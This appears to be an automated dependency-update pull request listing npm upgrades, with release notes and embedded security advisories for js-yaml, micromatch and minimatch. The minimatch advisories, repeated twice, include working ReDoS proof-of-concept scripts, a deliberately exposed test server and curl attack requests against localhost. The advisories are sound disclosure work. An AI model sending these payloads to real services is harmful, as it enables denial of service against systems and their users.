See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ js-yaml (indirect, 3.14.1 โ†’ 4.2.0) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

Summary

A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details

The issue is in merge handling inside lib/loader.js:

  • storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge.
  • For each element, it calls mergeMappings(...).
  • mergeMappings(...) computes Object.keys(source) and performs _hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

Root cause

File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366

if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      mergeMappings(state, _result, valueNode[index], overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does

sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
  key = sourceKeys[index];
  if (!_hasOwnProperty.call(destination, key)) {
    setProperty(destination, key, source[key]);
    overridableKeys[key] = true;
  }
}

Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

  • one Object.keys(source) call (O(K))
  • K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC

Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33โ€“36 ms
K=M=2000, input 20,909 bytes: ~121โ€“123 ms
K=M=4000, input 42,909 bytes: ~524โ€“537 ms
K=M=6000, input 64,909 bytes: ~1,608โ€“1,829 ms
K=M=8000, input 86,909 bytes: ~3,395โ€“3,565 ms
Control (single merge, similar key counts):
K=2000: ~1โ€“2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact

This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix:

Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    var seen = new Set();
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      var src = valueNode[index];
      if (seen.has(src)) continue;   // idempotent; skip redundant alias
      seen.add(src);
      mergeMappings(state, _result, src, overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

๐Ÿšจ js-yaml has prototype pollution in merge (<<)

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

๐Ÿšจ js-yaml has prototype pollution in merge (<<)

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

Release Notes

4.2.0 (from changelog)

Added

  • Added docs/safety.md with notes about processing untrusted YAML.
  • Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
  • Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
  • Added sourcemaps to dist/ builds.

Changed

  • Stop resolving numbers with underscores as numeric scalars, #627.
  • Switched dev toolchains to Vite / neostandard.
  • Updated demo.
  • Reorganized tests.
  • dist/ files are no longer kept in the repository.

Fixed

  • Fix parsing of properties on the first implicit block mapping key, #62.
  • Fix trailing whitespace handling when folding flow scalar lines, #307.
  • Reject top-level block scalars without content indentation, #280.
  • Ensure numbers survive round-trip, #737.
  • Fix test coverage for issue #221.
  • Fix flow scalar trailing whitespace folding, #307.
  • Fix digits in YAML named tag handles.

Security

  • Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

4.1.1 (from changelog)

Security

  • Fix prototype pollution issue in yaml merge (<<) operator.

4.1.0 (from changelog)

Added

  • Types are now exported as yaml.types.XXX.
  • Every type now has options property with original arguments kept as they were (see yaml.types.int.options as an example).

Changed

  • Schema.extend() now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered as abcd instead of cbad).

4.0.0 (from changelog)

Changed

  • Check migration guide to see details for all breaking changes.
  • Breaking: "unsafe" tags !!js/function, !!js/regexp, !!js/undefined are moved to js-yaml-js-types package.
  • Breaking: removed safe* functions. Use load, loadAll, dump instead which are all now safe by default.
  • yaml.DEFAULT_SAFE_SCHEMA and yaml.DEFAULT_FULL_SCHEMA are removed, use yaml.DEFAULT_SCHEMA instead.
  • yaml.Schema.create(schema, tags) is removed, use schema.extend(tags) instead.
  • !!binary now always mapped to Uint8Array on load.
  • Reduced nesting of /lib folder.
  • Parse numbers according to YAML 1.2 instead of YAML 1.1 (01234 is now decimal, 0o1234 is octal, 1:23 is parsed as string instead of base60).
  • dump() no longer quotes :, [, ], (, ) except when necessary, #470, #557.
  • Line and column in exceptions are now formatted as (X:Y) instead of at line X, column Y (also present in compact format), #332.
  • Code snippet created in exceptions now contains multiple lines with line numbers.
  • dump() now serializes undefined as null in collections and removes keys with undefined in mappings, #571.
  • dump() with skipInvalid=true now serializes invalid items in collections as null.
  • Custom tags starting with ! are now dumped as !tag instead of !<!tag>, #576.
  • Custom tags starting with tag:yaml.org,2002: are now shorthanded using !!, #258.

Added

  • Added .mjs (es modules) support.
  • Added quotingType and forceQuotes options for dumper to configure string literal style, #290, #529.
  • Added styles: { '!!null': 'empty' } option for dumper (serializes { foo: null } as "foo: "), #570.
  • Added replacer option (similar to option in JSON.stringify), #339.
  • Custom Tag can now handle all tags or multiple tags with the same prefix, #385.

Fixed

  • Astral characters are no longer encoded by dump(), #587.
  • "duplicate mapping key" exception now points at the correct column, #452.
  • Extra commas in flow collections (e.g. [foo,,bar]) now throw an exception instead of producing null, #321.
  • __proto__ key no longer overrides object prototype, #164.
  • Removed bower.json.
  • Tags are now url-decoded in load() and url-encoded in dump() (previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).
  • Anchors now work correctly with empty nodes, #301.
  • Fix incorrect parsing of invalid block mapping syntax, #418.
  • Throw an error if block sequence/mapping indent contains a tab, #80.

3.14.2 (from changelog)

Security

  • Backported v4.1.1 fix to v3

Does any of this look wrong? Please let us know.

โ†—๏ธ jsesc (indirect, 2.5.2 โ†’ 3.1.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 18 commits:

โ†—๏ธ line-column-path (indirect, 2.0.0 โ†’ 4.0.0) ยท Repo

Release Notes

4.0.0

Breaking

Improvements


v3.0.0...v4.0.0

3.0.0

Breaking

v2.0.0...v3.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ lines-and-columns (indirect, 1.1.6 โ†’ 1.2.4) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ log-symbols (indirect, 4.1.0 โ†’ 7.0.1) ยท Repo

Release Notes

7.0.1


v7.0.0...v7.0.1

7.0.0

Breaking

  • Switch from chalk to yoctocolors (#34) ab7ca3d
    • This is unlikely to affect anyone, but it's a major version just to be safe.

Improvements

v6.0.0...v7.0.0

6.0.0

Breaking

Improvements

v5.1.0...v6.0.0

5.1.0

v5.0.0...v5.1.0

5.0.0

Breaking

v4.1.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 13 commits:

โ†—๏ธ meow (indirect, 10.1.1 โ†’ 14.1.0) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 57 commits:

โ†—๏ธ micromatch (indirect, 4.0.4 โ†’ 4.0.8) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Regular Expression Denial of Service (ReDoS) in micromatch

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to #266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

Commits

See the full diff on Github. The new version differs by 26 commits:

โ†—๏ธ minimatch (indirect, 3.0.4 โ†’ 10.2.5) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

